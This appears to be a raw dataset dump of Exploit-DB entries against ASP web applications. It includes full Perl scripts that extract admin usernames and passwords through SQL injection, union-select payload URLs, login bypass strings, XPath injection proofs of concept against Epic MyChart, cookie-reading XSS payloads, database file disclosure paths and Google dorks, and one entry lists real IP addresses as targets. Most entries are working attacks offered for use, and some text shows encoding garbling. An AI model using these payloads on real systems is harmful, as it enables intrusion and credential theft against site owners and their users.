deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2990
Description: Enthrallweb emates 1.0 - 'newsdetail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Enthrallweb emates 1.0 (newsdetail.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.enthrallweb.us
#[$$         : 119.40  USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  Enthrallweb emates 1.0 (newsdetail.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target] [path]
[//                   Example: exploit.pl victim.com /
[//                   Example: exploit.pl victim.com /path/
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "/newsdetail.asp?ID=";
$target = "-1%20union%20select%200,admin_username,admin_password,0,0%20from%20admin%20where%20id%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<\/b><font color=\"#FFFFFF\" size=\"1\" face=\"Verdana, Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<b><font color=\"#FFFFFF\" size=\"1\" face=\"Verdana, Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-23]
Exploit-DB #2991
Description: Enthrallweb ePages - 'actualpic.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Enthrallweb ePages (actualpic.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.enthrallweb.us
#[$$         : 179.40  USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 2){
print "
[========================================================================
[//  Enthrallweb ePages (actualpic.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target] [path]
[//                   Example: exploit.pl victim.com /
[//                   Example: exploit.pl victim.com /path/
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "/actualpic.asp?Biz_ID=";
$target = "-1%20union%20select%200,0,0,0,0,0,0,0,0,0,0,0,0,123,U_Password,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12%20from%20users";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<img src=\"images\/(.*?)\" border/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: admin\n";
}

if ($answer =~ /<img src=\"images\/(.*?)\" border/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-23]
Exploit-DB #2986
Description: Enthrallweb ePhotos 1.0 - 'subLevel2.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Enthrallweb ePhotos 1.0 (subLevel2.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40 USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//subLevel2.asp?Cat_ID=33&SUB_ID=[SQL]

Example:

//subLevel2.asp?Cat_ID=33&SUB_ID=-1%20union%20select%20U_ID,U_PASSWORD,0,0,0,U_email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23]
Exploit-DB #30289
Description: EnViVo!CMS - 'default.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-11
Author: durito

Exploit:
source: https://www.securityfocus.com/bid/24860/info

enVivo!CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

All versions are considered vulnerable to this issue.

http://www.example.com/default.asp?action=article&ID=-1+or+1=(SELECT+TOP+1+username+from+users)--
Exploit-DB #44098
Description: EPIC MyChart - X-Path Injection
Type: webapps
Platform: asp
Date: 2018-02-16
Author: Shayan S

Exploit:
# Exploit Title: Epic Systems Corporation MyChart X-Path Injection
# Google Dork: MyChartÂź licensed from Epic Systems Corporation
# Date: 8/19/16
# Exploit Author: Shayan Sadigh (http://threat.tevora.com/author/shayan/)
# Vendor Homepage: https://www.epic.com/software
# Software Link: N/A
# Version: N/A
# Tested on: Windows/Unix
# CVE : CVE-2016-6272

Epic Systems Corporation MyChart "is a web portal offered by most Epic healthcare organizations that gives you controlled access to the same Epic medical records your doctors use and provides convenient self-service functions that reduce costs and increase satisfaction."

The MyChart software contains an X-Path injection due to the lack of sanitization for the GE parameter "topic". A remote attacker can access contents of an XML document containing static display strings, such as field labels, via the topic parameter to help.asp.

EPIC was quick to respond to contact and patch the vulnerability in MyChart.

Below are two proof of concepts:

Proof of concept 1:

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 7900=7900 AND ("LygB"="LygB ===> TRUE (this will show the help topic for enabling cookies)

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 7900=8000 AND ("LygB"="LygB ===> FALSE (will not show)

Proof of concept 2 (operations):

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*8 OR "000OxPf"="000OxPf ===> TRUE

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*6 OR "000OxPf"="000OxPf ===> TRUE (because of the OR)

https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*6 AND"000OxPf"="000OxPf ===> FALSE
Exploit-DB #27844
Description: EPublisherPro 0.9.7 - 'Moreinfo.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-09
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/17907/info

EPublisherPro is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/publisher/moreinfo.asp?bookid=2&title=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #51154
Description: EQ Enterprise management system v2.2.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2023-03-31
Author: TLF

Exploit:
Exploit Title: EQ Enterprise management system v2.2.0 - SQL Injection
Date: 2022.12.7
Exploit Author: TLF
Vendor Homepage: https://www.yiquantech.com/pc/about.html
Software Link(漏洞影响应用下载链接): http://121.8.146.131/,http://183.233.152.14:9000/,http://219.135.168.90:9527/,http://222.77.5.250:9000/,http://219.135.168.90:9530/
Version: EQ v1.5.31 to v2.2.0
Tested on: windows 10
CVE : CVE-2022-45297 


POC:
POST /Account/Login HTTP/1.1 
Host: 121.8.146.131 
User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 118 
Accept: application/json, text/javascript, */*; q=0.01 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; 
charset=UTF-8 Cookie: ASP.NET_SessionId=tlipmh0zjgfdm5b4h1tgvolg 
Origin: http://121.8.146.131
Referer: http://121.8.146.131/Account/Login 
X-Requested-With: XMLHttpRequest 
Accept-Encoding: gzip
Remember[CREDENTIAL_REDACTED]=EQ%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A0&UserNumber=%27&UserPwd=%27
Exploit-DB #17375
Description: EquiPCS - SQL Injection
Type: webapps
Platform: asp
Date: 2011-06-09
Author: Sideswipe

Exploit:
============================================================
# Title: EquiPCS=>SQL onjection vulnerability
# Date:9/6/11
# Author: Sideswipe
# Home: www.pro2leet.net or www.alboraaq.com or www.indishell.in
# Category: Web apps
# Dork: intext:"Powered by EquiPCS "
# Tested On : Xp and windows 7
===========================================================

[-] Exploit:~
	
      #http://www.[localhost].com/section.asp?section_id=17'
      #http://www.[localhost].com/section.asp?section_id=(sql)

     #http://www.[localhost].com/section.asp?id=6'
     #http://www.[localhost].com/section.asp?id=(sql)


[-] Admin Page:~
  #http://www.[localhost].com/admin/

(^_^)GOOD LUCK ALL(^_^)
====================++Greetz to++===========================
T3es,underscore,loyal_boy,!-Bb0yH4cK3r_Dz-!,hackcore,saxxor
,j|nx,Foxmind,Cyberseller,Anthrax,shani,anthrax,Ratchet,starlash,
ssgodfather,xConsole,balazee,Hexcoder,balazee,krishandpatill
                                And all my friends
===========================================================
Exploit-DB #7801
Description: eReservations - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-16
Author: ByALBAYX

Exploit:
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]eReservations (Auth Bypass)

[~]Script        : eReservations

[~]Price         : $249.95  save $50.00   :) 

[~]Demo          : http://reservations.enthrallweb.us/Login.asp

[~]Details       : http://enthrallweb.com/detail.asp?productID=16
#############################################
[~]username  : ' or '1

[~]password  : ' or '1
#############################################
[~]횆째횇타inize Baq횆짹n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden 횆째횆탑REND횆째M...
Onun derdini g횄쨋rd횄쩌m, derdime 횆째MREND횆째M...
----------
FilistiN

# milw0rm.com [2009-01-16]
Exploit-DB #11023
Description: Erolife AjxGaleri VT - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-06
Author: LionTurk

Exploit:
==============================================================================  

        [»] ~ Note : Mutlu Yillar Millettt

==============================================================================  

        [»] Erolife AjxGaleri VT  Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [ Erolife AjxGaleri VT  ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://www.aspindir.com/goster/4322] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com - LionTurk.Turkblog.com }

    [»] My Home:            [ RevengeHack.com & Ar-ge.Org ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://localhost/path/db/ajxgaleri.mdb
Exploit-DB #28600
Description: EShoppingPro 1.0 - 'Search_Run.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-18
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/20089/info

EShoppingPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

An attacker may be able to exploit this issue to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.

http://www.example.com/[path]/search_run.asp?keyword=-1&category=-1&order='%20union%20select%200,0,0,Username,Password,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20admin&x=-1&y=-1
Exploit-DB #39106
Description: eshtery CMS - 'FileManager.aspx' Local File Disclosure
Type: webapps
Platform: asp
Date: 2014-02-22
Author: peng.deng

Exploit:
source: https://www.securityfocus.com/bid/65740/info

eshtery CMS is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

 http://www.example.com/[path]/FileManager.aspx?file=E:\web\admin.asp
Exploit-DB #14980
Description: eshtery CMS - SQL Injection
Type: webapps
Platform: asp
Date: 2010-09-12
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub12-eshtery-cms-sql-injection-vulnerability/
'''


Abysssec Inc Public Advisory
 
  Title            :  eshtery CMS Sql Injection Vulnerability
  Affected Version :  eshtery copyrights 2003-2004
  Discovery        :  www.abysssec.com
  Vendor	   :  http://eshtery.she7ata.com/projects/eshtery/

  Demo  	   :  http://eshtery.she7ata.com/projects/eshtery/
  Download Links   :  http://sourceforge.net/projects/eshtery/
  
 
Description :
===========================================================================================      
1) SQL Injection

  for successful injection in this cms you have to pass two steps.
      
   Step 1:
   ----------------------------------------------------------------------------------------
          Go to this path:
                 http://Example.com/catlgsearch.aspx

          and enter this value in Criteria field:
                 %') and 1=1 AND (Item.iname LIKE '%
    
          and click on "go" button. You will see that the data will be loaded.
          
          Now enter this value:
                 %') and 1=2 AND (Item.iname LIKE '%
           
          With this value no data will be loaded.


          So if we enter below value, with the following technique we can define the first character 
          of AccName field of Admins table :
                 %') and 1=IIF((select mid(last(AccName),1,1) from (select top 1 AccName from admins))='a',1,2) AND (Item.iname LIKE '% 

          If the first character is 'a', the data will be loaded. If not, you will see nothing.
          
          Second character:
                 %') and 1=IIF((select mid(last(AccName),2,1) from (select top 1 AccName from admins))='d',1,2) AND (Item.iname LIKE '% 

          and respectivly you can acqure another characters.

          As a result, the first value of AccName field from Admins table acqured.  

          With this method you can obtain the Password value of Admin from Admins table
          and going to other steps is not  necessary.


    Step 2:
   ----------------------------------------------------------------------------------------          
          The value of AccName obtained in the first step(for example: admin).
          You can go to adminlogin.aspx page:
                 http://Example.com/adminlogin.aspx 

          and enter this value to login: 
                 username : admin' or '1'='1 
        	 password : foo
  
          Now you are admin of site.

  
          

===========================================================================================
Exploit-DB #10713
Description: Esinti Web Design Gold Defter - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-26
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [&#65533;] ~ Note : Baska Biri Bulduysa Affettsin :D

==============================================================================  

        [&#65533;] Esinti Web Design Gold Defter  Database Disclosure Vulnerability  

==============================================================================  

   

    [&#65533;] Script:             [   Esinti Web Design Gold Defter ]  

    [&#65533;] Language:           [ ASP ]  

    [&#65533;] Download:           [ http://www.aspindir.com/goster/5387] 

    [&#65533;] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [&#65533;] My Home:            [ RevengeHack.com ]  

    [&#65533;]N0T3    :             Yeni Ac&#65533;klarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [&#65533;] http://revengehack.com/[dizin]/data/defter.mdb

 


  [&#65533;] Esinti Web Design Gold Defter


  [&#65533;]   Admin Page: /admin




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar G&#65533;rd&#65533;m  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


###########################################################################
Exploit-DB #12100
Description: Espinas CMS - SQL Injection
Type: webapps
Platform: asp
Date: 2010-04-07
Author: Pouya Daneshmand

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Espinas CMS
# Vendor: http://espinas.ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
# Dork: "Powered by Espinas IT"
#################################################################
Vulnerability:
http://site.ir/news.asp?id=-1+union+select+1,concat(username,0x3a,0x3a,password),3,4,5+from+sinabed_users
--------------------------------------------------------------

#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.Securitylab.ir
# Contacts: admin[at]securitylab.ir & whh_iran[AT]yahoo.com
###################################################################
Exploit-DB #2773
Description: Estate Agent Manager 1.3 - 'default.asp' Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-11-13
Author: ajann

Exploit:
*******************************************************************************
# Title  :  Estate Agent Manager <= v1.3 (default.asp) Remote Login ByPass SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************
Example:

###http://[target]/[path]/admin/

UserName: ' union select 0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-13]
Exploit-DB #35926
Description: eTAWASOL - 'id' SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bl4ck.Viper

Exploit:
source: https://www.securityfocus.com/bid/48561/info

eTAWASOL is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/npages/back.asp?id=[SQL]
Exploit-DB #38879
Description: Etoshop B2B Vertical Marketplace Creator - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2013-12-14
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/64332/info

B2B Vertical Marketplace Creator is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

B2B Vertical Marketplace Creator 2.0 is vulnerable; other version may also be vulnerable. 

www.example.com/demo/B2BVerticalMarketplace/admin.asp

UserID : 1' or '1' = '1
Password : 1' or '1' = '1
Exploit-DB #25078
Description: Eurofull E-Commerce - 'Mensresp.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-02-02
Author: Yani-ari

Exploit:
source: https://www.securityfocus.com/bid/12420/info

Reportedly Eurofull E-Commerce is affected by a cross-site scripting vulnerability in the 'mensresp.asp' script. This issue is due to a failure of the application to properly sanitize user-supplied input.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed.

http://www.example.com/shop/mensresp.asp?recomend=1&nombre=(CODE)&email=
http://www.example.com/shop/mensresp.asp?recomend=1&nombre=%3Cscript%3Ealert('discovery_by_snilabs')%3C/script%3E&email=&email=